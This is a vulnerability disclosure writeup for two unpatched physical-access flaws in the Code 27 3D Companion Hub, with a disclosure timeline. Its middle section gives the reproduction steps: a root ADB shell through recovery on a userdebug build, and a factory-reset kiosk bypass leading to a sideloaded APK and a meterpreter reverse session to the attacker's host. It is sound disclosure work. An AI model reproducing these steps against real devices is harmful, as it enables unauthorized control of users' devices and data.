Proof of concept for CVE-2026-36027 and CVE-2026-36028
The Code 27 3D Companion Hub is a physical desktop device that renders a custom AI character (a "Codie") as an animated 3D companion. Users can upload or create any 3D model, and multimodal AI lets the character see its surroundings, read tone and body language, and hold open-ended conversations.
This writeup covers two vulnerabilities that require physical access to the device. Both were validated against the build below and are, at time of publication, unpatched.
| Field | Value |
|---|---|
| Product | Code 27 3D Companion Hub |
| Companion Hub UI version | 1.2.0 |
| SoC / board | Rockchip RK3588S (rk3588s_yt921) |
| OS | Android 12 |
| Build ID | SQ3A.220705.003.A1 |
| Full fingerprint | rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys |
| Build type | userdebug / release-keys |
The shipping firmware is a userdebug build (visible in the recovery banner and in ro.build.display.id). userdebug builds permit adbd to be restarted as root via adb root, which is a key enabler for CVE-2026-36027 to exist.
A physically proximate attacker can boot the Companion Hub into Android recovery and obtain a root-privileged ADB shell (uid=0, SELinux context u:r:su:s0). Because the device ships a userdebug build, adbd can be restarted as root with adb root, giving the attacker read/write interaction with the recovery environment, the ability to enumerate build and hardware properties, and access to recovery functions (sideload, fastboot, partition operations).
The access obtained is within the recovery ramdisk, not the live Android runtime. In testing, the recovery Mount /system action failed (libfs_mgr could not open /dev/block/by-name/system), so the system partition was not directly mounted through this path, and the booted user environment, with the kiosk and any decrypted user data, is not presented in this mode.
This still matters because root access to the recovery environment is the foundation for modifying persistent device state (for example, writing to partitions or applying a crafted update package) such that attacker-controlled code could run on a subsequent normal boot, establishing a foothold on the live device.
Mount /system, highlight it, and confirm. It will appear to fail. This is expected, and the exploit still works. (The recovery log shows libfs_mgr failing to open /dev/block/by-name/system.)PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe devices
List of devices attached
YGKJ2601921S00193 recovery
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe root
restarting adbd as root
timeout expired while waiting for device
PS C:\Users\John\Downloads\platform-tools-latest-windows\platform-tools> .\adb.exe shell
# whoami
root
# id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),1078(ext_data_rw),1079(ext_obb_rw),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc),3011(uhid),3012(readtracefs) context=u:r:su:s0
# getprop ro.build.display.id
rk3588s_yt921-userdebug 12 SQ3A.220705.003.A1 eng.dj.20260203.134404 release-keys
# getprop ro.product.model
rk3588s_yt921
# getprop ro.build.version.release
12
# ls -la
total 840
drwxrwxrwt 33 root root 1040__bionic_open_tzdata: couldn't find any tzdata when looking for Asia/Shanghai!
1970-01-01 00:00 .
drwxrwxrwt 33 root root 1040 1970-01-01 00:00 ..
drwxr-xr-x 2 root root 40 1970-01-01 00:00 acct
drwxr-xr-x 2 root root 40 1970-01-01 00:00 apex
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 bin -> /system/bin
lrwxrwxrwx 1 root root 50 1970-01-01 00:00 bugreports -> /data/user_de/0/com.android.shell/files/bugreports
drwxr-xr-x 2 root root 40 1970-01-01 00:00 cache
drwxr-xr-x 3 root root 0 1970-01-01 00:00 config
lrwxrwxrwx 1 root root 17 1970-01-01 00:00 d -> /sys/kernel/debug
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data
drwxr-xr-x 2 root root 40 1970-01-01 00:00 data_mirror
drwxr-xr-x 2 root root 40 1970-01-01 00:00 debug_ramdisk
lrwxrwxrwx 1 root root 12 1970-01-01 00:00 default.prop -> prop.default
drwxr-xr-x 15 root root 1380 1970-01-01 00:00 dev
lrwxrwxrwx 1 root root 11 1970-01-01 00:00 etc -> /system/etc
lrwxrwxrwx 1 root root 16 1970-01-01 00:00 init -> /system/bin/init
-rwxr-x--- 1 root root 662 1970-01-01 00:00 init.recovery.rk30board.rc
drwxr-xr-x 2 root root 60 1970-01-01 00:00 linkerconfig
drwxr-xr-x 12 root root 4096 1970-01-01 00:00 metadata
drwxr-xr-x 8 root system 160 1970-01-01 00:00 mnt
drwxr-xr-x 2 root root 240 1970-01-01 00:00 odm
drwxr-xr-x 2 root root 60 1970-01-01 00:00 odm_dlkm
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 odm_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 oem
drwxr-xr-x 3 root root 260 1970-01-01 00:00 pcba
-rw-r--r-- 1 root root 47253 1970-01-01 00:00 plat_file_contexts
-rw-r--r-- 1 root root 76958 1970-01-01 00:00 plat_property_contexts
drwxr-xr-x 2 root root 40 1970-01-01 00:00 postinstall
dr-xr-xr-x 220 root root 0 1970-01-01 00:00 proc
drwxr-xr-x 2 root root 40 1970-01-01 00:00 product
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_file_contexts
-rw-r--r-- 1 root root 0 1970-01-01 00:00 product_property_contexts
-rw-r--r-- 1 root root 14023 1970-01-01 00:00 prop.default
drwxr-xr-x 3 root root 60 1970-01-01 00:00 res
drwx------ 2 root root 40 2026-02-03 06:23 root
drwxr-xr-x 2 root root 60 1970-01-01 00:00 sbin
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sdcard
drwxr-xr-x 2 root root 40 1970-01-01 00:00 second_stage_resources
-rw-r--r-- 1 root root 658375 1970-01-01 00:00 sepolicy
drwxr-xr-x 2 root root 40 1970-01-01 00:00 sideload
drwxr-x--x 2 root root 40 1970-01-01 00:00 storage
dr-xr-xr-x 14 root root 0 1970-01-01 00:00 sys
drwxr-xr-x 5 root root 100 1970-01-01 00:00 system
drwxr-xr-x 2 root root 40 1970-01-01 00:00 system_ext
-rw-r--r-- 1 root root 177 1970-01-01 00:00 system_ext_file_contexts
-rw-r--r-- 1 root root 1889 1970-01-01 00:00 system_ext_property_contexts
drwxrwxr-x 2 root shell 40 1970-01-01 00:00 tmp
drwxr-xr-x 3 root root 60 1970-01-01 00:00 vendor
drwxr-xr-x 2 root root 60 1970-01-01 00:00 vendor_dlkm
-rw-r--r-- 1 root root 25441 1970-01-01 00:00 vendor_file_contexts
-rw-r--r-- 1 root root 4395 1970-01-01 00:00 vendor_property_contexts
A factory reset performed from the recovery menu wipes the userdata partition, where the kiosk applications are installed. Because the kiosk is not part of the system partition, it is not restored on reboot, and the device boots into a standard, unrestricted Android environment (launcher, web browser, file manager, settings, and other system apps).
From this unrestricted environment an attacker can re-enable developer options/USB debugging, sideload an arbitrary APK, and execute it to obtain a shell on the live operating system. In testing, this produced a meterpreter session running as the unprivileged application user u0_a79 - a different privilege and data context than the recovery-mode root shell in CVE-2026-36027, because it runs against the live, booted OS rather than the recovery ramdisk. Code planted and run in this state executes as part of normal device operation, giving the attacker interactive control of the device and its user-accessible filesystem.
Wipe data/factory reset and confirm the wipe.
[*] Sending stage (72424 bytes) to 10.0.0.48
[*] Meterpreter session 2 opened (10.0.0.224:8000 -> 10.0.0.48:58094) at 2026-02-20 19:06:47 -0500
meterpreter > getuid
Server username: u0_a79
meterpreter > cd /
meterpreter > ls
Listing: /
==========
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 acct
040554/r-xr-xr-- 480 dir 1969-12-31 19:00:03 -0500 apex
040110/--x--x--- 8192 dir 2008-12-31 19:00:00 -0500 bin
000000/--------- 0 fif 1969-12-31 19:00:00 -0500 bugreports
040000/--------- 4096 dir 1969-12-31 19:00:04 -0500 cache
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 config
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:00 -0500 d
040110/--x--x--- 4096 dir 2026-02-03 01:27:34 -0500 data
040000/--------- 120 dir 1969-12-31 19:00:04 -0500 data_mirror
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 debug_ramdisk
040554/r-xr-xr-- 1760 dir 2026-02-03 01:27:34 -0500 dev
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 etc
100554/r-xr-xr-- 1997584 fil 2008-12-31 19:00:00 -0500 init
100000/--------- 463 fil 2008-12-31 19:00:00 -0500 init.environ.rc
040554/r-xr-xr-- 240 dir 1969-12-31 19:00:03 -0500 linkerconfig
040000/--------- 16384 dir 2008-12-31 19:00:00 -0500 lost+found
040554/r-xr-xr-- 4096 dir 1969-12-31 19:00:04 -0500 metadata
040554/r-xr-xr-- 360 dir 1969-12-31 19:00:05 -0500 mnt
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 odm_dlkm
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 oem
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 postinstall
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 proc
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 product
040776/rwxrwxrw- 3452 dir 2026-02-03 01:27:39 -0500 sdcard
040554/r-xr-xr-- 4096 dir 2008-12-31 19:00:00 -0500 second_stage_resources
040110/--x--x--- 80 dir 1969-12-31 19:00:04 -0500 storage
040554/r-xr-xr-- 0 dir 1969-12-31 19:00:02 -0500 sys
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 system
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 system_ext
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:54 -0500 vendor
040554/r-xr-xr-- 3488 dir 2026-01-18 22:15:55 -0500 vendor_dlkm
| Date | Event |
|---|
| 2026-02-17 | Both vulnerabilities disclosed to the Code 27 team and confirmed. |
| 2026-02-17 | Both 0-day vulnerabilities reported to MITRE. |
| 2026-02-18 | Code 27 team discussed a plan of resolution, gathered additional information, and stated it would be fixed. |
| 2026-06-15 | MITRE assigns CVE-2026-36027 and CVE-2026-36028. |
| 2026-06-15 | Code 27 notified of the assignment; initial contact forwards information to the security team for build review. |
| 2026-06-16 | Code 27 security team asks for full technical details, again. |
| 2026-06-17 | Full technical details provided to the security team, again. |
| 2026-06-18 | No response from the security team. |
| 2026-06-19 | Code 27 representative states that companies are usually given 90 days to resolve security issues and that the security team is already aware. Representative is informed the issues were reported over 120 days earlier. A July 1st disclosure deadline is set. |
| 2026-06-25 | Code 27 security contacted to confirm final warning of the deadline and publication. |
| 2026-06-28 | Code 27 apologizes, confirms the CVE identifiers and disclosure deadline, and states that a public advisory and link will be sent before July 1st. |
| 2026-07-01 | Code 27 contacted regarding the status of the advisory; no response. |
| 2026-07-02 | Unpatched vulnerability details published. |